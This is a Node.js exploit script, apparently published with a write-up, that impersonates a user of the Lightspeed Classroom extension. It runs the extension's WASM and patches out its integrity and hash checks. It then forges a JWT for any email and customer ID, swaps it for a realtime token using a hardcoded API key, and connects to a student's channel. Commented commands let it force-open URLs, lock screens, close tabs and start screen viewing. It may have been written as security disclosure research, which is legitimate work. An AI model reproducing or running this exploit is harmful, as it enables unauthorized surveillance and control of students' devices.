README.md
Rendering markdown...
import Ably from "ably";
import fs from "fs";
import path from "path";
import { fileURLToPath } from "url";
import readline from "readline"
import crypto, { webcrypto } from "crypto";
import { TextEncoder, TextDecoder } from "util";
import { performance } from "perf_hooks";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
// --- Configuration ---
let CONFIG = {
email: "",
customerId: "",
ablyApiKey: "G52kOXvb7p7UbwFRV3ahn74m6xklosio2XUdLlTL",
ablyUrl: "https://ably.lightspeedsystems.app/",
apiUri: "https://devices.classroom.relay.school",
telemetryHost: "agent-backend-api-production.lightspeedsystems.com",
telemetryKey: "lolz",
extensionId: "not needed?",
version: "5.1.7.1773264644",
};
// --- Node.js polyfills ---
try {
globalThis.crypto = webcrypto;
} catch (e) {}
if (typeof globalThis.TextEncoder === "undefined")
globalThis.TextEncoder = TextEncoder;
if (typeof globalThis.TextDecoder === "undefined")
globalThis.TextDecoder = TextDecoder;
if (typeof globalThis.performance === "undefined")
globalThis.performance = performance;
try {
globalThis.window = globalThis;
} catch (e) {}
try {
globalThis.self = globalThis;
} catch (e) {}
globalThis.fs = fs;
const _encoder = new TextEncoder();
const _decoder = new TextDecoder();
// --- Minimal Chrome API mock ---
// The WASM only touches: chrome.runtime.getURL, getManifest,
// chrome.identity.getProfileUserInfo, chrome.enterprise.deviceAttributes
const ORIGIN = `chrome-extension://${CONFIG.extensionId}`;
globalThis.location = {
origin: ORIGIN,
href: `${ORIGIN}/worker.js`,
protocol: "chrome-extension:",
host: CONFIG.extensionId,
hostname: CONFIG.extensionId,
pathname: "/worker.js",
};
globalThis.importScripts = () => {};
globalThis.clients = { matchAll: async () => [], claim: async () => {} };
const identity = { email: CONFIG.email };
function getManifest() {
try {
return JSON.parse(
fs.readFileSync(path.join(__dirname, "manifest.json"), "utf-8"),
);
} catch {
return { version: CONFIG.version };
}
}
globalThis.chrome = {
runtime: {
id: CONFIG.extensionId,
getURL: (p) => `${ORIGIN}/${p}`,
getManifest,
getPlatformInfo: (cb) =>
cb && cb({ os: "cros", arch: "x86-64", nacl_arch: "x86-64" }),
},
identity: {
getProfileUserInfo: (cb) => {
if (cb) cb(identity);
return Promise.resolve(identity);
},
},
enterprise: {
deviceAttributes: {
getDirectoryDeviceId: (cb) => {
if (cb) cb(CONFIG.customerId);
},
getDeviceSerialNumber: (cb) => {
if (cb) cb("");
},
getDeviceAssetId: (cb) => {
if (cb) cb("");
},
},
},
};
// --- Fetch mock ---
// Resolves chrome-extension:// URLs to local files, passes through https://
const realFetch = globalThis.fetch;
globalThis.fetch = async (url, opts) => {
const s = typeof url === "string" ? url : url.url;
if (s.startsWith("chrome-extension://")) {
const filename = s.split("/").pop();
const fp = path.join(__dirname, filename);
if (fs.existsSync(fp)) {
const buf = fs.readFileSync(fp);
const ct = filename.endsWith(".wasm")
? "application/wasm"
: filename.endsWith(".json")
? "application/json"
: "application/javascript";
return new Response(buf, {
status: 200,
headers: { "Content-Type": ct },
});
}
return new Response("", { status: 404 });
}
return realFetch(url, opts);
};
// --- LSClassroom state (minimal) ---
// The WASM registers functions on LSClassroom.WASM during Go main().
// We also provide the JS-side callback arrays that the WASM calls into.
const callbacks = { ident: [], ip: [], tab: [] };
globalThis.LSClassroom = {
WASM: {
Debug: (...args) => {
console.log("[wasm.Debug]", ...args);
},
SetIdentCB: (fn) => callbacks.ident.push(fn),
SendIdentCB: (data) =>
callbacks.ident.forEach((fn) => {
try {
fn(data);
} catch (e) {}
}),
SetIPCB: (fn) => callbacks.ip.push(fn),
SendIPCB: (data) =>
callbacks.ip.forEach((fn) => {
try {
fn(data);
} catch (e) {}
}),
SetTabCB: (fn) => callbacks.tab.push(fn),
SendTabCB: (data) =>
callbacks.tab.forEach((fn) => {
try {
fn(data);
} catch (e) {}
}),
},
};
// --- Go WASM runtime bridge (standard wasm_exec.js, with patched valueCall) ---
// Faithfully reproduced from the worker's embedded Go class, with 2 patches:
// - getProfileUserInfo.toString() returns "native code" (integrity bypass)
// - worker.js URL redirected to worker_copy.js (hash bypass)
globalThis.Go = class Go {
constructor() {
this.argv = ["js"];
this.env = {};
this.exit = (code) => {
if (code !== 0) console.warn("Go exit:", code);
};
this._exitPromise = new Promise((r) => {
this._resolveExitPromise = r;
});
this._pendingEvent = null;
this._scheduledTimeouts = new Map();
this._nextCallbackTimeoutID = 1;
const go = this;
const _timeOrigin = Date.now() - performance.now();
this.importObject = {
_gotest: { add: (a, b) => a + b },
gojs: {
"runtime.wasmExit": (sp) => {
sp >>>= 0;
go.exited = true;
delete go._inst;
delete go._values;
delete go._goRefCounts;
delete go._ids;
delete go._idPool;
go.exit(go.mem.getInt32(sp + 8, true));
},
"runtime.wasmWrite": (sp) => {
sp >>>= 0;
const fd = go._getInt64(sp + 8);
const p = go._getInt64(sp + 16);
const n = go.mem.getInt32(sp + 24, true);
fs.writeSync(fd, new Uint8Array(go._inst.exports.mem.buffer, p, n));
},
"runtime.resetMemoryDataView": () => {
go.mem = new DataView(go._inst.exports.mem.buffer);
},
"runtime.nanotime1": (sp) => {
go._setInt64(
8 + (sp >>>= 0),
(_timeOrigin + performance.now()) * 1000000,
);
},
"runtime.walltime": (sp) => {
sp >>>= 0;
const m = new Date().getTime();
go._setInt64(sp + 8, m / 1000);
go.mem.setInt32(sp + 16, (m % 1000) * 1000000, true);
},
"runtime.scheduleTimeoutEvent": (sp) => {
sp >>>= 0;
const id = go._nextCallbackTimeoutID++;
go._scheduledTimeouts.set(
id,
setTimeout(
() => {
go._resume();
while (go._scheduledTimeouts.has(id)) {
console.warn("scheduleTimeoutEvent: missed timeout event");
go._resume();
}
},
go._getInt64(sp + 8),
),
);
go.mem.setInt32(sp + 16, id, true);
},
"runtime.clearTimeoutEvent": (sp) => {
sp >>>= 0;
clearTimeout(
go._scheduledTimeouts.get(go.mem.getInt32(sp + 8, true)),
);
go._scheduledTimeouts.delete(go.mem.getInt32(sp + 8, true));
},
"runtime.getRandomData": (sp) => {
crypto.getRandomValues(
new Uint8Array(
go._inst.exports.mem.buffer,
go._getInt64(8 + (sp >>>= 0)),
go._getInt64(sp + 16),
),
);
},
"syscall/js.finalizeRef": (sp) => {
sp >>>= 0;
const id = go.mem.getUint32(sp + 8, true);
go._goRefCounts[id]--;
if (go._goRefCounts[id] === 0) {
const v = go._values[id];
go._values[id] = null;
go._ids.delete(v);
go._idPool.push(id);
}
},
"syscall/js.stringVal": (sp) => {
go._storeValue(24 + (sp >>>= 0), go._loadString(sp + 8));
},
"syscall/js.valueGet": (sp) => {
sp >>>= 0;
const recv = go._loadValue(sp + 8);
const name = go._loadString(sp + 16);
const result = Reflect.get(recv, name);
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 32, result);
},
"syscall/js.valueSet": (sp) => {
sp >>>= 0;
Reflect.set(
go._loadValue(sp + 8),
go._loadString(sp + 16),
go._loadValue(sp + 32),
);
},
"syscall/js.valueDelete": (sp) => {
sp >>>= 0;
Reflect.deleteProperty(
go._loadValue(sp + 8),
go._loadString(sp + 16),
);
},
"syscall/js.valueIndex": (sp) => {
go._storeValue(
24 + (sp >>>= 0),
Reflect.get(go._loadValue(sp + 8), go._getInt64(sp + 16)),
);
},
"syscall/js.valueSetIndex": (sp) => {
sp >>>= 0;
Reflect.set(
go._loadValue(sp + 8),
go._getInt64(sp + 16),
go._loadValue(sp + 24),
);
},
"syscall/js.valueCall": (sp) => {
sp >>>= 0;
try {
const recv = go._loadValue(sp + 8);
const name = go._loadString(sp + 16);
const args = go._loadSliceOfValues(sp + 32);
// ── PATCH 1: integrity bypass ──
// WASM checks getProfileUserInfo.toString() for "native code"
if (
name === "toString" &&
recv === chrome.identity.getProfileUserInfo
) {
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(
sp + 56,
"function getProfileUserInfo() { [native code] }",
);
go.mem.setUint8(sp + 64, 1);
return;
}
// ── PATCH 2: hash bypass ──
// WASM hashes worker.js — redirect to unmodified copy
if (
args[0] &&
typeof args[0] === "string" &&
args[0].endsWith("/worker.js")
) {
args[0] = args[0].replace(/worker\.js$/, "worker_copy.js");
}
// ── END PATCHES ──
const fn = Reflect.get(recv, name);
if (typeof fn !== "function") {
console.log(
`[wasm] valueCall(${recv?.constructor?.name || typeof recv}.${name}) — not a function: ${fn}`,
);
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(
sp + 56,
new TypeError(`${name} is not a function`),
);
go.mem.setUint8(sp + 64, 0);
return;
}
const result = Reflect.apply(fn, recv, args);
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 56, result);
go.mem.setUint8(sp + 64, 1);
} catch (err) {
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 56, err);
go.mem.setUint8(sp + 64, 0);
}
},
"syscall/js.valueInvoke": (sp) => {
sp >>>= 0;
try {
const result = Reflect.apply(
go._loadValue(sp + 8),
undefined,
go._loadSliceOfValues(sp + 16),
);
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 40, result);
go.mem.setUint8(sp + 48, 1);
} catch (e) {
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 40, e);
go.mem.setUint8(sp + 48, 0);
}
},
"syscall/js.valueNew": (sp) => {
sp >>>= 0;
try {
const result = Reflect.construct(
go._loadValue(sp + 8),
go._loadSliceOfValues(sp + 16),
);
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 40, result);
go.mem.setUint8(sp + 48, 1);
} catch (e) {
sp = go._inst.exports.getsp() >>> 0;
go._storeValue(sp + 40, e);
go.mem.setUint8(sp + 48, 0);
}
},
"syscall/js.valueLength": (sp) => {
go._setInt64(
16 + (sp >>>= 0),
parseInt(go._loadValue(sp + 8).length),
);
},
"syscall/js.valuePrepareString": (sp) => {
sp >>>= 0;
const str = _encoder.encode(String(go._loadValue(sp + 8)));
go._storeValue(sp + 16, str);
go._setInt64(sp + 24, str.length);
},
"syscall/js.valueLoadString": (sp) => {
sp >>>= 0;
const str = go._loadValue(sp + 8);
const ln = go._getInt64(sp + 16);
new Uint8Array(go._inst.exports.mem.buffer, ln).set(str);
},
"syscall/js.valueInstanceOf": (sp) => {
go.mem.setUint8(
24 + (sp >>>= 0),
go._loadValue(sp + 8) instanceof go._loadValue(sp + 16) ? 1 : 0,
);
},
"syscall/js.copyBytesToGo": (sp) => {
sp >>>= 0;
const dst = new Uint8Array(
go._inst.exports.mem.buffer,
go._getInt64(sp + 16),
);
const src = go._loadValue(sp + 32);
if (!(src instanceof Uint8Array)) {
go.mem.setUint8(sp + 48, 0);
return;
}
go.mem.setUint8(sp + 48, 1);
go._setInt64(
sp + 40,
src.copyWithin
? src.copyWithin(0, dst.subarray(0, src.length))
: dst.set(src.subarray(0, dst.length)),
);
},
"syscall/js.copyBytesToJS": (sp) => {
sp >>>= 0;
const dst = go._loadValue(sp + 16);
const src = new Uint8Array(
go._inst.exports.mem.buffer,
go._getInt64(sp + 32),
);
if (!(dst instanceof Uint8Array)) {
go.mem.setUint8(sp + 48, 0);
return;
}
go.mem.setUint8(sp + 48, 1);
go._setInt64(
sp + 40,
dst.set
? dst.set(src.subarray(0, dst.length))
: src.copyWithin(0, dst.subarray(0, src.length)),
);
},
},
};
}
_setInt64(addr, v) {
this.mem.setUint32(addr, v, true);
this.mem.setUint32(addr + 4, Math.floor(v / 4294967296), true);
}
_getInt64(addr) {
return (
this.mem.getUint32(addr, true) +
this.mem.getInt32(addr + 4, true) * 4294967296
);
}
_loadValue(addr) {
const f = this.mem.getFloat64(addr, true);
if (f !== 0) {
if (!isNaN(f)) return f;
}
return this._values[this.mem.getUint32(addr, true)];
}
_storeValue(addr, v) {
const nanHead = 2146959360;
if (typeof v === "number") {
if (v !== 0 && !isNaN(v)) {
this.mem.setFloat64(addr, v, true);
return;
}
if (isNaN(v)) {
this.mem.setUint32(addr + 4, nanHead, true);
this.mem.setUint32(addr, 0, true);
return;
}
}
if (v === undefined) {
this.mem.setFloat64(addr, 0, true);
return;
}
let id = this._ids.get(v);
if (id === undefined) {
id = this._idPool.pop();
if (id === undefined) id = this._values.length;
}
this._values[id] = v;
this._goRefCounts[id] = 0;
this._ids.set(v, id);
let typeFlag = 0;
switch (typeof v) {
case "object":
if (v !== null) typeFlag = 1;
break;
case "string":
typeFlag = 2;
break;
case "symbol":
typeFlag = 3;
break;
case "function":
typeFlag = 4;
break;
}
this.mem.setUint32(addr + 4, nanHead | typeFlag, true);
this.mem.setUint32(addr, id, true);
}
_loadString(addr) {
const s = this._getInt64(addr);
const l = this._getInt64(addr + 8);
return _decoder.decode(new DataView(this._inst.exports.mem.buffer, s, l));
}
_loadSliceOfValues(addr) {
const arr = this._getInt64(addr);
const len = this._getInt64(addr + 8);
const a = new Array(len);
for (let i = 0; i < len; i++) a[i] = this._loadValue(arr + i * 8);
return a;
}
async run(instance) {
if (!(instance instanceof WebAssembly.Instance))
throw new Error("Go.run: WebAssembly.Instance expected");
this._inst = instance;
this.mem = new DataView(this._inst.exports.mem.buffer);
this._values = [NaN, 0, null, true, false, globalThis, this];
this._goRefCounts = new Array(this._values.length).fill(Infinity);
this._ids = new Map([
[0, 1],
[null, 2],
[true, 3],
[false, 4],
[globalThis, 5],
[this, 6],
]);
this._idPool = [];
this.exited = false;
const go = this;
let offset = 4096;
const strPtr = (str) => {
const ptr = offset;
const bytes = _encoder.encode(str + "\0");
new Uint8Array(go._inst.exports.mem.buffer).set(bytes, offset);
offset += bytes.length;
if (offset % 8 !== 0) offset += 8 - (offset % 8);
return ptr;
};
const argc = this.argv.length;
const argvPtrs = [];
this.argv.forEach((a) => argvPtrs.push(strPtr(a)));
argvPtrs.push(0);
Object.keys(this.env)
.sort()
.forEach((k) => argvPtrs.push(strPtr(`${k}=${this.env[k]}`)));
argvPtrs.push(0);
const argvPtr = offset;
argvPtrs.forEach((p) => {
this.mem.setUint32(offset, p, true);
this.mem.setUint32(offset + 4, 0, true);
offset += 8;
});
if (offset >= 12288)
throw new Error(
"total length of command line and environment variables exceeds limit",
);
this._inst.exports.run(argc, argvPtr);
if (this.exited) {
this._resolveExitPromise();
}
await this._exitPromise;
}
_resume() {
if (this.exited) throw new Error("Go program has already exited");
this._inst.exports.resume();
if (this.exited) {
this._resolveExitPromise();
}
}
_makeFuncWrapper(id) {
const go = this;
return function () {
const event = { id, this: this, args: arguments };
go._pendingEvent = event;
go._resume();
return event.result;
};
}
};
function copyBytes(dst, src) {
const n = Math.min(src.length, dst.length);
dst.set(src.subarray(0, n));
return n;
}
// ═══════════════════════════════════════════════════════════════
// STEP 1: Load the WASM and extract the JWT
// ═══════════════════════════════════════════════════════════════
export async function getJwtFromWasm(newConfig = {}) {
if (newConfig) CONFIG = newConfig;
const wasmPath = path.join(__dirname, "classroom.wasm");
if (!fs.existsSync(wasmPath)) throw new Error("classroom.wasm not found");
const go = new Go();
const wasmBytes = fs.readFileSync(wasmPath);
const { instance } = await WebAssembly.instantiate(
wasmBytes,
go.importObject,
);
// go.run() starts the Go runtime. The WASM's main() registers
// functions like Setup(), ConfigureClass(), etc. on LSClassroom.WASM
go.run(instance);
// Give the WASM a tick to finish registering its functions
await new Promise((r) => setTimeout(r, 500));
// Call Setup with the target district's config
console.log("[1] Calling LSClassroom.WASM.Setup()...");
LSClassroom.WASM.Setup(
CONFIG.customerId,
CONFIG.version,
CONFIG.telemetryHost,
CONFIG.telemetryKey,
);
// Create a blank object — the WASM will add a SetIdent method to it
// that generates a JWT when called with an email address
const classObj = {};
console.log("[2] Calling LSClassroom.WASM.ConfigureClass()...");
LSClassroom.WASM.ConfigureClass(classObj);
// Optionally fetch policy from the server (may be required by newer versions)
// The policy endpoint returns a JWT that the WASM uses during identity verification
try {
console.log("[3] Fetching policy from", `${CONFIG.apiUri}/policy`);
const policyRes = await realFetch(`${CONFIG.apiUri}/policy`, {
method: "POST",
headers: {
"x-api-key": CONFIG.ablyApiKey,
"Content-Type": "application/json",
customerid: CONFIG.customerId,
'User-Agent': 'Mozilla/5.0 (X11; CrOS x86_64 16610.44.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7727.115 Safari/537.36'
},
body: JSON.stringify({ username: CONFIG.email }),
});
if (policyRes.ok) {
const policy = await policyRes.json();
console.log("[3] Policy:", JSON.stringify(policy, null, 2));
if (policy.jwt) {
LSClassroom.WASM.PolicyData(
policy.jwt,
policy.email || CONFIG.email,
policy.user_guid || "",
);
}
} else {
console.log(
"[3] Policy fetch failed (status",
policyRes.status,
") — continuing without it",
);
}
} catch (e) {
console.log(
"[3] Policy fetch error:",
e.message,
"— continuing without it",
);
}
await new Promise((r) => setTimeout(r, 200));
// The moment of truth: call SetIdent(email) → WASM generates and returns the JWT
// using the signing key embedded in the Go binary
console.log("[4] Calling classObj.SetIdent() — WASM generates JWT...");
const jwt = classObj.SetIdent(CONFIG.email);
if (!jwt) throw new Error("WASM returned empty JWT — SetIdent failed");
console.log("[4] JWT obtained:", jwt.substring(0, 40) + "...");
return jwt;
}
// ═══════════════════════════════════════════════════════════════
// STEP 2: Exchange the JWT for an Ably token (the only auth API call)
// ═══════════════════════════════════════════════════════════════
async function getAblyToken(jwt) {
// This is the single API call that matters:
// Send the WASM-generated JWT to Lightspeed's Ably endpoint
// along with the public API key (hardcoded in the extension)
console.log("[5] Exchanging JWT for Ably token at", CONFIG.ablyUrl);
const res = await realFetch(
`${CONFIG.ablyUrl}?clientId=${encodeURIComponent(CONFIG.email)}`,
{
headers: {
"Content-Type": "application/json",
"X-API-Key": CONFIG.ablyApiKey,
"User-Agent": "fetch/25.9.0",
jwt,
exp: "10",
},
},
);
if (!res.ok) {
const body = await res.text();
console.error("[5] Ably response:", res.status, body);
throw new Error(`Ably token exchange failed: ${res.status}`);
}
console.log("[5] Ably token received (status", res.status, ")");
return res.text();
}
// ═══════════════════════════════════════════════════════════════
// STEP 3: Connect to target's Ably channel — full device control
// ═══════════════════════════════════════════════════════════════
async function connectAndControl(ablyToken) {
const realtime = new Ably.Realtime({
authCallback: async (_, cb) => cb(null, ablyToken),
clientId: CONFIG.email,
autoConnect: false,
echoMessages: true,
endpoint: "lightspeed",
fallbackHosts: [
"a-fallback-lightspeed.ably.io",
"b-fallback-lightspeed.ably.io",
"c-fallback-lightspeed.ably.io",
],
});
const channelName = `${CONFIG.customerId}:${CONFIG.email}`;
console.log("[6] Connecting to Ably channel:", channelName);
await new Promise((resolve, reject) => {
realtime.connection.on("connected", () => {
console.log("[6] Connected!", realtime.connection.id);
resolve();
});
realtime.connection.on("failed", (e) => {
console.error("[6] Connection failed:", e);
reject(e);
});
realtime.connect();
});
const channel = realtime.channels.get(channelName);
// ── Subscribe to ALL messages (no filter) ──
channel.subscribe((msg) => {
console.log(`[rx:${msg.name}]`, JSON.stringify(msg.data));
});
// ── Presence: see who's online on this channel ──
channel.presence.subscribe((msg) => {
console.log(
`[presence:${msg.action}] ${msg.clientId}`,
JSON.stringify(msg.data),
);
});
// Check who's currently present
const presenceSet = await channel.presence.get();
if (presenceSet.length === 0) {
console.log("[presence] Nobody currently online on this channel");
} else {
console.log(`[presence] ${presenceSet.length} client(s) online:`);
for (const p of presenceSet) {
console.log(` - ${p.clientId}`, JSON.stringify(p.data));
}
}
// ── Enter presence with viewingTabs to trigger student tab publish ──
// The student watches for presence enter/update events containing viewingTabs
// and responds by publishing tab data as "groupUpdate" messages
channel.presence.enter({ viewingTabs: true });
// ── Commands you can send (all require IsClassroomActive except unlock) ──
// Uncomment to execute. Formats from the blog post:
//
// Force-open a URL on the student's device
// channel.publish('url', 'https://example.com');
//
// Lock the student's screen (shows overlay message)
// channel.publish('lock', { type: 'lock', lockMessage: 'Locked', lockedUntil: 2147483647 });
//
// Unlock the student's screen (does NOT require IsClassroomActive)
// channel.publish('unlock');
//
// Close a specific tab (tabId/url from tabs data)
// channel.publish('closeTab', { tabId: 123, url: 'https://example.com' });
//
// Focus (bring to front) a specific tab
// channel.publish('focusTab', { tabId: 123, windowId: 456 });
//
// Send a notification popup to the student (requires IsClassroomActive)
// channel.publish("tm", { mId: crypto.randomUUID(), m: "Hello" });
//
// Set hall pass state
// channel.publish('setState', { state: 'ready' });
//
// Force the student's extension to re-fetch policy from server
// channel.publish('policyUpdate');
//
// Force the student's extension to check for updates and reload
// channel.publish('updateExtension');
//
// Initiate WebRTC screen view (requires active class schedule + group)
// channel.publish('request_rtc', { sessionId: crypto.randomUUID(), role: 'viewer', want: ['video'] });
//
console.log("\n[done] Connected. Listening for all events...");
console.log(
"Commands: url, lock, unlock, closeTab, focusTab, tm, setState, policyUpdate, updateExtension, request_rtc\n",
);
// Keep alive
await new Promise(() => {});
}
// ═══════════════════════════════════════════════════════════════
// Run
// ═══════════════════════════════════════════════════════════════
function ask(question) {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
return new Promise((resolve) =>
rl.question(question, (ans) => {
rl.close();
resolve(ans);
})
);
}
// COMMENT OUT IF USING WEB VIEWER
async function main() {
try {
// Prompt for Email
const userEmail = await ask("Enter Email: ");
if (!userEmail) throw new Error("Email is required.");
CONFIG.email = userEmail.trim();
// Prompt for Customer ID
const userCustomerId = await ask("Enter Customer ID: ");
if (!userCustomerId) throw new Error("Customer ID is required.");
CONFIG.customerId = userCustomerId.trim();
console.log(`\nInitializing for: ${CONFIG.email} (ID: ${CONFIG.customerId})\n`);
const jwt = await getJwtFromWasm();
const ablyToken = await getAblyToken(jwt);
await connectAndControl(ablyToken);
} catch (e) {
console.error("\nFatal Error:", e.message);
process.exit(1);
}
};
if (process.argv[1] === fileURLToPath(import.meta.url)) main();